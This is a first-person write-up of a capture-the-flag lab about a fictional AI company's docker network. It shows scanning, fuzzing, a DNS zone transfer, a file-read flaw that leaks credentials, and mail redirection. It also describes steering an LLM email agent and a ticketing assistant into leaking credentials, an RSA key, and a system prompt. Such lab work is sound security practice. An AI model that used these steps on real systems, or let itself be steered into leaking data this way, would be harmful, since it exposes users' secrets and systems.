The initial access
It all starts with this, found in the “main quest”:
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')Label('encoder1')ROT13(true,true,false,7)Split('H0','H0%5C%5Cn')Jump('encoder1',8)Fork('%5C%5Cn','%5C%5Cn',false)Zlib_Deflate('Dynamic%20Huffman%20Coding')XOR(%7B'option':'UTF8','string':'h0pp3r'%7D,'Standard',false)To_Base32('A-Z2-7%3D')Merge(true)Generate_Image('Greyscale',1,512)&input=SG9wcGVyIG1hbmFnZWQgdG8gdXNlIEN5YmVyQ2hlZiB0byBzY3JhbWJsZSB0aGUgZWFzdGVyIGVnZyBrZXkgaW1hZ2UuIEhlIHVzZWQgdGhpcyB2ZXJ5IHJlY2lwZSB0byBkbyBpdC4gVGhlIHNjcmFtYmxlZCB2ZXJzaW9uIG9mIHRoZSBlZ2cgY2FuIGJlIGRvd25sb2FkZWQgZnJvbTogCgpodHRwczovL3RyeWhhY2ttZS1pbWFnZXMuczMuYW1hem9uYXdzLmNvbS91c2VyLXVwbG9hZHMvNWVkNTk2MWM2Mjc2ZGY1Njg4OTFjM2VhL3Jvb20tY29udGVudC81ZWQ1OTYxYzYyNzZkZjU2ODg5MWMzZWEtMTc2NTk1NTA3NTkyMC5wbmcKClJldmVyc2UgdGhlIGFsZ29yaXRobSB0byBnZXQgaXQgYmFjayE
It’s a 512x1448 png image, and it came with a cyberchef recipe that produced it. It seemed the game was to reverse the recipe in cyberchef, but I couldn’t figure out how to do that and just did it with a little bit of python and a lot of yelling at chatgpt, which was very tedious but not particularly difficult. Once I had the code working correctly it spit out the image which was the unlock code.
A single target machine was apparent with the following:
$ sudo nmap -sS -Pn -T5 -p- 10.81.142.243
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 15:07 PST
Nmap scan report for 10.81.142.243
Host is up (0.13s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
21337/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 181.22 seconds
Fuzzing that webserver a bit, I found these endpoints:
$ ffuf -s -u http://10.81.142.243/FUZZ -w /usr/share/wordlists/dirb/common.txt
employees
health
server-status
services
$ curl -i http://10.81.142.243/health
HTTP/1.1 200 OK
Date: Wed, 17 Dec 2025 23:19:46 GMT
Server: Werkzeug/3.1.4 Python/3.11.14
Content-Type: application/json
Content-Length: 21
{"status":"healthy"}
The employees endpoint gives a list of users:
| Name | Likely username | Email |
| --------------- | --------------- | --------------------------------------------------------------------- |
| Sir Carrotbane | sir.carrotbane | [[email protected]](mailto:[email protected]) |
| Shadow Whiskers | shadow.whiskers | [[email protected]](mailto:[email protected]) |
| Obsidian Fluff | obsidian.fluff | [[email protected]](mailto:[email protected]) |
| Nyx Nibbles | nyx.nibbles | [[email protected]](mailto:[email protected]) |
| Midnight Hop | midnight.hop | [[email protected]](mailto:[email protected]) |
| Crimson Ears | crimson.ears | [[email protected]](mailto:[email protected]) |
| Violet Thumper | violet.thumper | [[email protected]](mailto:[email protected]) |
| Grim Bounce | grim.bounce | [[email protected]](mailto:[email protected]) |
Filed that table away in my notes for future, figuring I’d have to steal someone’s credentials. I noticed that there’s a DNS service on the machine, so the next step was to query it:
$ dig axfr @10.81.142.243 hopaitech.thm
; <<>> DiG 9.20.15-2-Debian <<>> axfr @10.81.142.243 hopaitech.thm
; (1 server found)
;; global options: +cmd
hopaitech.thm. 3600 IN SOA ns1.hopaitech.thm. admin.hopaitech.thm. 1 3600 1800 604800 86400
dns-manager.hopaitech.thm. 3600 IN A 172.18.0.3
ns1.hopaitech.thm. 3600 IN A 172.18.0.3
ticketing-system.hopaitech.thm. 3600 IN A 172.18.0.2
url-analyzer.hopaitech.thm. 3600 IN A 172.18.0.3
hopaitech.thm. 3600 IN NS ns1.hopaitech.thm.hopaitech.thm.
hopaitech.thm. 3600 IN SOA ns1.hopaitech.thm. admin.hopaitech.thm. 1 3600 1800 604800 86400
;; Query time: 139 msec
;; SERVER: 10.81.142.243#53(10.81.142.243) (TCP)
;; WHEN: Wed Dec 17 15:32:54 PST 2025
;; XFR size: 7 records (messages 7, bytes 451)
Ahh, a whole dockerized network! I put those in /etc/hosts, get that all squared away, and then started poking at the url-analyzer, which looked interesting. Found this in the javascript:
function stripLabel(text) {
if (!text) return '';
const trimmed = text.trimStart();
const lines = trimmed.split('\n');
if (!lines.length) return trimmed;
const first = lines[0].toUpperCase().trim();
if (first === 'FILE_READ' || first === 'SUMMARY' || first === 'CAPABILITY') {
return lines.slice(1).join('\n').trimStart();
}
return trimmed;
}
FILE_READ eh? Maybe we can get the flag! Turns out that yep, we can get /proc/self/mounts, and /proc/1/cmdline which gives us the location of supervisord.conf which gets us the source code of both dns and uri-analyzer
It also gets us a flag and creds for the dns manager, as well as a hint that there’s an ollama instance running on the docker host itself:
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=40579e0fffa3OLLAMA_HOST=http://host.docker.internal:11434DNS_DB_PATH=/app/dns-server/dns_server.dbMAX_CONTENT_LENGTH=500DNS_ADMIN_USERNAME=adminDNS_ADMIN_PASSWORD=v3rys3cur3p@ssw0rd!FLAG_1=THM{9cd687b330554bd807a717e62910e3d0}DNS_PORT=5380OLLAMA_MODEL=qwen3:0.6bLANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.14PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78HOME=/rootSUPERVISOR_ENABLED=1SUPERVISOR_PROCESS_NAME=url-analyzerSUPERVISOR_GROUP_NAME=url-analyzer
So, with admin:v3rys3cur3p@ssw0rd! in my notes, I went into the DNS manager and added an MX record pointing to my attacker machine, where I was running an smtp server. I figured that since this was a very “LLM-themed” challenge that one of these guys would respond, much like last year where they had a simulated user clicking on phishing links. Emailed various users, eventually got a response from my homegirl Violet Thumper which is an LLM. Asked it to start reading things in my inbox, and she helpfully found creds for the ticketing system as well as Flag #2. Thanks Violet!
I spent an embarassingly long time playing around in the ticketing system before I realized you can see anyone’s tickets by asking the AI assistant. It turned out that Ticket #6 has an RSA private key and flag 3.
In the DNS there’s another host that didn’t come back in dig at 172.17.0.1 which is the docker host itself, and after some trial and error, I found out that that was the “dev machine” that midnight.hop was referring to in his support ticket. Since it was a dev machine for an AI company it’s reasonable to assume there’s an AI running on it, and the earlier output of $PATH suggested it was ollama. so I tried to SSH in but was immediately rejected with a closed connection. Reading the ticket more closely it hinted at a tunnel, so, with the RSA key, I set an ssh tunnel to the box:
$ ssh -N -D 1080 -i ~/.ssh/midnight.hop.id_rsa [email protected]
Then start hunting for LLMs on the ollama port mentioned in the environment vars.
$ proxychains curl http://172.17.0.1:11434/api/tags
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.1:11434 ... OK
{"models":[{"name":"sir-carrotbane:latest","model":"sir-carrotbane:latest","modified_at":"2025-11-20T17:48:43.451282683Z","size":522654619,"digest":"30b3cb05e885567e4fb7b6eb438f256272e125f2cc813a62b51eb225edb5895e","details":{"parent_model":"","format":"gguf","family":"qwen3","families":["qwen3"],"parameter_size":"751.63M","quantization_level":"Q4_K_M"}},{"name":"qwen3:0.6b","model":"qwen3:0.6b","modified_at":"2025-11-20T17:41:39.825784759Z","size":522653767,"digest":"7df6b6e09427a769808717c0a93cadc4ae99ed4eb8bf5ca557c90846becea435","details":{"parent_model":"","format":"gguf","family":"qwen3","families":["qwen3"],"parameter_size":"751.63M","quantization_level":"Q4_K_M"}}]}
Bingo.
Wasn’t expecting to find the final flag quickly, but it ended up being hidden in the system prompt spam that comes back from this request:
$ proxychains curl -s http://172.17.0.1:11434/api/show -d '{"name":"sir-carrotbane:latest"}'
This one was by far the easiest!